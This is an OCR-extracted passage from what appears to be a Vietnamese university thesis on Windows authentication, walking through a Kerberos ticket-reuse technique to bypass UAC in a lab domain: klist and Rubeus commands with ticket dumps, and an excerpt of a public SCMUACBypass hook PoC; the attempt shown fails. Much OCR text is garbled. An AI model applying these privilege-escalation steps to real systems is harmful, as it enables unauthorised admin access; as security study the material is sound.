DE LEO THANG ĐẶC QUYEN
2.1. Lỗ héng trong quá trình xác thực của Kerberos
2.1.2. Cách thức khai thác lỗ hỗng
Từ lỗ hồng nêu trên, khi ta đã xác thực với tư cách là người dùng miền, cách đơn giản nhất để lạm dụng hệ thống là làm cho việc kiểm tra MachinelD không thành
35
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows công. Gia tri của biến toàn cục LsapGlobalMachinelD là một giá trị ngẫu nhiên được tạo
bởi LSASS trong quá trình khởi động máy tính.
Một phương pháp là tạo ra một định dạng KRB-CRED của vé dịch vụ cho hệ
thống cục bộ và lưu lại. Sau đó, khởi động lại hệ thống để khởi tạo lại
LsapGlobalMachinelD, và khi quay trở lại hệ thống, tải lại vé đã được lưu trước đó. Tại
điểm này, vé sẽ có một MachinelD khác nhau, va Kerberos sẽ bỏ qua các ràng buộc như
KERB AUTH DATA TOKEN RESTRICTIONS, như được mô tả trong tài liệu
chính thức của Microsoft. Bạn có thé sử dụng lệnh klist tích hợp trong Windows cùng với bộ công cụ Rubeus để thực hiện điều này.
- Pau tiên, sử dụng lệnh klist để lấy vé cho dịch vụ RPC của máy tính cục bộ:
klist get RPC/%computername%
36
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows
BBM walpe_env - oF x Microsoft Windows [Version 10.0.18362.30] a
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\pentester\Desktop\share>klist get RPC/%COMPUTERNAMEX
Current LogonId is 0:@x4b49e
A ticket to RPC/PC-WX1903 has been retrieved successfully.
Cached Tickets: (3)
#@> Client: pentester @ PRONIKNOVENIYE.LOCAL
Server: krbtgt/PRONIKNOVENIYE.LOCAL @ PRONTKNOVENTYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags @x40e10000 -> forwardable renewable initial pre_authent name_canonicalize Start Time: 12/29/2023 11:29:58 (local)
End Time: 12/29/2023 21:29:58 (local) Renew Time: 1/5/2024 11:29:01 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @x1 -> PRIMARY
Kde Called: DC@1-WINSV19.proniknoveniye.local
#1> Client: pentester @ PRONIKNOVENIYE.LOCAL
Server: RPC/PC-WX1903 @ PRONIKNOVENIYE.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags @x40a100@@ -> forwardable renewable pre_authent name_canonicalize Start Time: 12/29/2023 11:29:58 (local)
End Time: 12/29/2023 21:29:58 (local) Renew Time: 1/5/2024 11:29:01 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @
Kde Called: DC@1-WINSV19.proniknoveniye.local
#2> Client: pentester @ PRONIKNOVENIYE.LOCAL
Server: LDAP/DC@1-WINSV19.proniknoveniye.local/proniknoveniye.local @ PRONIKNOVENIYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags @x4@a500@@ -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 12/29/2023 11:29:02 (local)
End Time: 12/29/2023 21:29:01 (local) Renew Time: 1/5/2024 11:29:01 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @
Kde Called: DC@1-WINSV19.proniknoveniye.local
Hình 2.19: Lệnh klist để lấy ticket cho dịch vụ RPC của máy tính cục bộ
37
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyên trên Windows
- Sử dụng Rubeus dé trích xuất vé dich vu được yêu cầu:
Rubeus.exe dump /server:%computername% /nowrap
walpe_env
C:\Users\pentester\Desktop\share>Rubeus.exe dump /server:%COMPUTERNAME% /nowrap
|Plo _——_- _ _—
[ _—\W_—l1111_) eA ILI lw |
Action: Dump Kerberos Ticket Data (Current User)
$-1-5-21-3407162097-421674631-3260644744-1103
name_canonicalize, pre_authent, renewable, forwardable
QcRZZXMNzp3KSwvFmx+b877eB4U4kNU66XNYðgoK1ao=
[*] Target server : PC-WX1903 [*] Current LUID : @x4b49e
UserName : pentester
Domain : PRONIKNOVENIYE LogonId : @x4b49e
UserSID :
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 12/29/2023 11:29:02 AM LogonServer : DC@1-WINSV19
LogonServerDNSDomain : PRONIKNOVENIYE. LOCAL
UserPrincipalName : pentester@proniknoveniye.local
ServiceName : RPC/PC-WX1903
ServiceRealm : PRONIKNOVENTYE.LOCAL
UserName : pentester (NT_PRINCIPAL)
UserRealm : PRONIKNOVENIYE.LOCAL
StartTime : 12/29/2023 11:29:58 AM EndTime : 12/29/2023 9:29:58 PM RenewTill : 1/5/2024 11:29:01 AM
Flags H
KeyType : aes256_cts_hmac_shal Base64(key) :
Base64EncodedTicket ‡
doIF2jCCBdagAwIBBaEDAgEWoolE1DCCBNBhgg TMMILEyKADAgEFoRYbFFBST@5JS@5PVkVOSV1FLkxPQ@FMa SdxpeZJImGUqsJ Fr8hjGbQ4wyeh513qCvq7 jMIF5Pcyj5un4Jz6u7QwEmv@HEObOVVh1Im6b1D1r /wuBMygm@P2K2k1U 1LWWhF z@HheZ6cQKYNa@wbuqZ+yCcY TWCy jKAD7upAyKI903HzgDm@Hc96eI++VYa7e5Gomt2zHz0ieTXADplykNGzZu 7YdyBxgywF FhjeOaFgMA44Lr FNhn4GezK9UMQQvYwNWP6UHBpbyezQJ F40Vukb+ar1lYvHYKoLr1GHXRk3djltef2JaD w28V4ukk8frVqxil80kQkgEQPYihucxTZeTQiq/FQIX87F+4qt2S+N7 /SA1J EK6UX6pFfrJQ3x1+XLj9McmgRdGQLdjZ N1didla/3dnB3LWOjwZ0J SADXCVUEygBY@iiF Zn1XUsOcVFha7waimgwdDajuxfLtgxbPDtn6z66Nm8EZSLWH4zeKwT IBMoGHsA9gD7M@ye+W+vaogn4yb75Wr4agPD16LzZEOW1zFjxYOOykw2tawj/qkdcbTAcpYma3r79vvU9i4TQS5kpSowg Y17mqFfQnq+4TgBrj9VHVoUd2PLx098kCeYxhoanfXsva3/Ni1CmATHOH/SPcRxLy+Heu3eXmtPEEKB39RzDp15Nst CB7qADAgEAooHmBTHjfYHgMTHdoTHaMTHXMTHUoCswKaADAgESoSTETEHEWWVzDc6dyksLxZsfm/0+3geF07DVOu1zh TIyOTE@Mjk10FqnERgPMjAyNDAxMDUwNDI5MDFaqBYbFFBST@5JS@5PVkVOSV1FLkxPQ@FMqRswGaADAgECoRIwEBsD
Hình 2.20: Công cu Rubeus để trích xuất RPC ticket
38
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyên trên Windows
- Khởi động lại may chủ và chuyên lại vé dich vu do Rubeus xuất trở lại bộ
nhớ:
Rubeus.exe ptt /ticket:<BASE64 TICKET>
Bl walpe_env
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\pentester\Desktop\share>Rubeus.exe ptt /ticket:doIF2jCCBdagAwIBBaEDAgEWooIE1DCCBNBhggTMMII) Ed JEUWQ165LsRsbVpQonSwA9gDXLD8d1tis ImmBpvrh13tkVORSdxpeZImGUqsJFr8hjGbQ4wYeh513qCvq7jMIF5Pcyj5un4Jz!
xyNXgA8qTVU6Xs1Q6ptcQ2sP8D47u7In/LkdugujQRGzWUnCoC1LWWhF z@HhceZ6cQKYNa@wbuqZ+yCcY TWCyjKAD7upAyKI903H:
#6 juw+cWxz2rZwoZYIcstw4NmGQp2hC4BG0D235zUsgu5 FAEZH7YdyBxgywF Fhj eOaFgMA44Lr FNhn4GezK9UMQQVYwNWP6UHBp!
BSpt7rxSeUyY2eF pwhBiadyLXcKSyeIsoW+7Dn63zZMJoXAR11w28V4ukk8FrVqxil80kQkgEQPYihucxTZeTQigq/FQIX87F+4q:
NQ7v74/FdR61I7uEHYFBzkUMhnkBSJ IMOCHS676F04Z+/GpiLYyN1did1a/3dnB3LWOjwZ0J SADXCVUEygBYOiiFZn1XUsOcVFha’
ủAuZTX5MfShw1PXtr-vikTQbZ190TuBiQpnaRDPTsGGkXt@hy37gTBMoGHsA9gD7Mðye+tl+vaogn4yb75llr-4agPD16LzEOll1zFJxYI 549oFmLtkn4Bcc6bvtiTf@t1sLulokaaArc5NBgfZY1+y3Uswak3jY17mqFfQnq+4TgBrj9VHVoUd2PLx098kCeYxhoanfXsva3/N:
MD5z18Z1evLc017p69P6hr-1YJbyf54zuvQ6qxVJ3CooYfKOB8TCB7qADAgEAooHmBTH7jfYHgMTHdoTHaMTHXMTHUoCswKaADAgE:
youcDBQBAoQAApREYDzTwMjMxMjT5MDQyOTU4waqYRGA8yMDTzMTTyOTEỉMjk10FqnERgPMjAyNDAxMDUwNDT5MDFaqBYbFFBST6.
) | - —|
ATE oP Ett ve
\l || |LI tlo) 1} Lile | /\ J /C/
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Users\pentester\Desktop\share>klist Current LogonId is 9:0x503f7
Cached Tickets: (3)
#0ằ
#1>
Client: pentester @ PRONIKNOVENIYE.LOCAL
Server: krbtgt/PRONIKNOVENIYE.LOCAL @ PRONIKNOVENIYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags @x40e10000 -> forwardable renewable initial pre_authent name_canonicalize Start Time: 12/29/2023 11:33:28 (local)
End Time: 12/29/2023 21:33:28 (local) Renew Time: 1/5/2024 11:33:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: ỉx1 -> PRIMARY
Kde Called: DC@1-WINSV19
Client: pentester @ PRONIKNOVENIYE.LOCAL
Server: RPC/PC-WX1903 @ PRONIKNOVENIYE.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10999 -> forwardable renewable pre_authent name_canonicalize Start Time: 12/29/2023 11:29:58 (local)
End Time: 12/29/2923 21:29:58 (local) Renew Time: 1/5/2024 11:29:01 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Hình 2.21: Công cu Rubeus dé chuyên lai RPC ticket vào bộ nhớ đệm
Tại thời điểm này, do có MachinelD trong vé khác với giá trị LsapGlobalMachinelD, việc lọc mã xác thực mạng (có thể) sẽ không còn diễn ra nữa.
39
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows Bạn có thể sử dụng xác thực Kerberos để truy cập Trình quản lý điều khiển dịch vụ
(Service Control Manager - SCM) có tên pipe hoặc TCP bang cách sử dụng HOST/HOSTNAME hoặc RPC/HOSTNAME SPN. Điều quan trọng cần lưu ý là API Win32
của SCM luôn sử dụng xác thực Thương lượng. James Forshaw đã tạo ra một Proof of
Concept (PoC) đơn giản có tên SCMUACBypass.cpp[14] móc nối (hook) các API AcquireCredentialsHandle và InitializeSecurityContextW dé thay đổi tên gói xác thực
(pszPackage) được SCM sử dụng thành Kerberos, cho phép SCM sử dụng Kerberos trong quá trình xác thực cục bộ, một phân của đoạn code như sau:
SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(
_In_opt_ LPWSTR pszPrincipal, // Name of principal _In_ LPWSTR pszPackage, // Name of package
_In_ unsigned long fCredentialUse, // Flags indicating use _In_opt_ void* pvLogonld, /J Pointer to logon ID
_In_opt_ void* pAuthData, // Package specific data
_In_opt_ SEC_GET_ KEY FN pGetKeyFn, // Pointer to GetKey() func _In_opt_ void* pvGetKeyArgument, // Value to pass to GetKey() _Out_ PCredHandle phCredential, // (out) Cred Handle
_Out_opt_ PTimeStamp ptsExpiry // (out) Lifetime (optional)
)
{
WCHAR kerberos_package[] = MICROSOFT_KERBEROS_NAME_W;
printf("AcquireCredentialsHandleHook called for package %ls\n", pszPackage);
if ( wcsicmp(pszPackage, L"Negotiate") == 0) { pszPackage = kerberos_package;
printf("Changing to %ls package\n", pszPackage);
}
return AcquireCredentialsHandleW(
pszPrincipal, pszPackage, fCredentialUse, pvLogonld, pAuthData, pGetKeyFn,
pvGetKeyArgument, phCredential, ptsExpiry
);
}
SECURITY_STATUS SEC_ENTRY InitializeSecurityContextWHook(
_In_opt_ PCredHandle phCredential, // Cred to base context _In_opt_ PCtxtHandle phContext, // Existing context (OPT) _ln opt SEC _WCHAR* pszTargetName, // Name of target _In_ unsigned long fContextReg, // Context Requirements _In_ unsigned long Reserved1, // Reserved, MBZ
In unsigned long TargetDataRep, // Data rep of target
40
Tran Quốc Hoan - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows
_In_opt_ PSecBufferDesc pInput, // Input Buffers _In_ unsigned long Reserved2, // Reserved, MBZ
_Inout_opt_ PCtxtHandle phNewContext, // (out) New Context handle _Inout_opt_ PSecBufferDesc pOutput, // (inout) Output Buffers
_Out_ unsigned long* pfContextAttr, // (out) Context attrs _Out_opt_ PTimeStamp ptsExpiry // (out) Life span (OPT)
) {
// Change the SPN to match with the UAC bypass ticket you've registered.
printf("InitializeSecurityContext called for target %ls\n", pszTargetName);
SECURITY STATUS status = InitializeSecurityContextW(
phCredential, phContext, &spn[0],
fContextReq, Reserved1, TargetDataRep, pInput, Reserved2, phNewContext,
pOutput, pfContextAttr, ptsExpiry
);
printf("InitializeSecurityContext status = %08X\n", status);
return status;
Iw.
int wmain(int argc, wchar_t** argv)
{
I]...
PSecurityFunctionTableW table = InitSecuritylnterfaceW();
table->AcquireCredentialsHandleW = AcquireCredentialsHandleWHook;
table->InitializeSecurityContextW = InitializeSecurityContextWHook;
IT a.
Thử chạy công cu của James Forshaw, nhưng không lấy được quyền hệ thống
trong trường hợp này.
41
Tran Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows
BH walpe_env - oF x
C:\Users\pentester\Desktop\share>klist Current LogonId is 9:0x593f7
Cached Tickets: (3)
#0> Client: pentester @ PRONIKNOVENIYE.LOCAL
Server: krbtgt/PRONIKNOVENIYE.LOCAL @ PRONIKNOVENIYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags @x4@e1000@ -> forwardable renewable initial pre_authent name_canonicalize Start Time: 12/29/2023 11:33:28 (local)
End Time: 12/29/2023 21:33:28 (local) Renew Time: 1/5/2024 11:33:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: ỉx1 -> PRIMARY
Kde Called: DC@1-WINSV19
#1> Client: pentester @ PRONIKNOVENIYE.LOCAL
Server: RPC/PC-WX1903 @ PRONIKNOVENIYE.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags @x4@a1@00@ -> forwardable renewable pre_authent name_canonicalize Start Time: 12/29/2023 11:29:58 (local)
End Time: 12/29/2023 21:29:58 (local) Renew Time: 1/5/2024 11:29:01 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @
Kde Called:
#2> Client: pentester @ PRONIKNOVENIYE.LOCAL
Server: LDAP/DC@1-WINSV19.proniknoveniye.local/proniknoveniye.local @ PRONIKNOVENIYE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags @x4@a5000@ -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 12/29/2023 11:33:28 (local)
End Time: 12/29/2023 21:33:28 (local) Renew Time: 1/5/2024 11:33:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: @
Kde Called: DC@1-WINSV19.proniknoveniye. local
C: \Users\pentester\Desktop\share>SCMUACBypass.exe
AcquireCredentialsHandleHook called for package Negotiate Changing to Kerberos package
InitializeSecurityContext called for target HOST/127.0.0.1 InitializeSecurityContext status = 00090312
InitializeSecurityContext called for target HOST/127.0.0.1 InitializeSecurityContext status = 90000000
Error opening SCM 5
Hình 2.22: Sử dung công cu SCMUACBypass dé leo thang đặc quyén
Có thé việc vượt qua bộ lọc Token trong LsalSetSupplementalTokenInfo đã không thành công, đồ án sẽ giới thiệu về các phương pháp khác dé lấy được token hợp
lệ dé tạo một service và từ đó leo thang đặc quyên.
42
Trần Quốc Hoàn - BI9DCAT077
Đồ án tốt nghiệp Xác thực và kiêm soát đặc quyền trên Windows